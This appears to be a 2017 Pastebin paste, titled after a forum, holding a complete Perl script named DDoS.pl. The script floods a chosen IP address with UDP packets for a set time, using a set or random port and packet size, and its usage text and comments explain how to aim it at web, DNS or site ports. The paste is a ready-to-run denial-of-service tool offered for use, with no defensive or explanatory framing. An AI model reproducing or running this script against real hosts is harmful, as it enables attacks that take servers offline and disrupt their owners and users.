Advertisement
Guest User

SinFulForums.net

a guest
Jan 16th, 2017
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #Port - Use '80' Para Pessoas ou Porta 53 Para DNS Ou 8090 Para Site
  4. #Size - Use '100 - 1000' (Reccomended).
  5.  
  6. use Socket;
  7. use strict;
  8.  
  9. print '
  10. ';
  11. print "\n";
  12.  
  13.  
  14. if ($#ARGV != 3) {
  15. print "\n\t\t\t***Error command must recieve four arguements***\n";
  16. print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  17. print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  18. exit(1);
  19. }
  20.  
  21. my ($ip,$port,$size,$time) = @ARGV;
  22. my ($iaddr,$endtime,$psize,$pport);
  23. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  24. $endtime = time() + ($time ? $time : 1000000);
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  27. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  28. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  29. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  30. for (;time() <= $endtime;) {
  31. $psize = $size ? $size : int(rand(1500-64)+64) ;
  32. $pport = $port ? $port : int(rand(65500))+1;
  33.  
  34. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement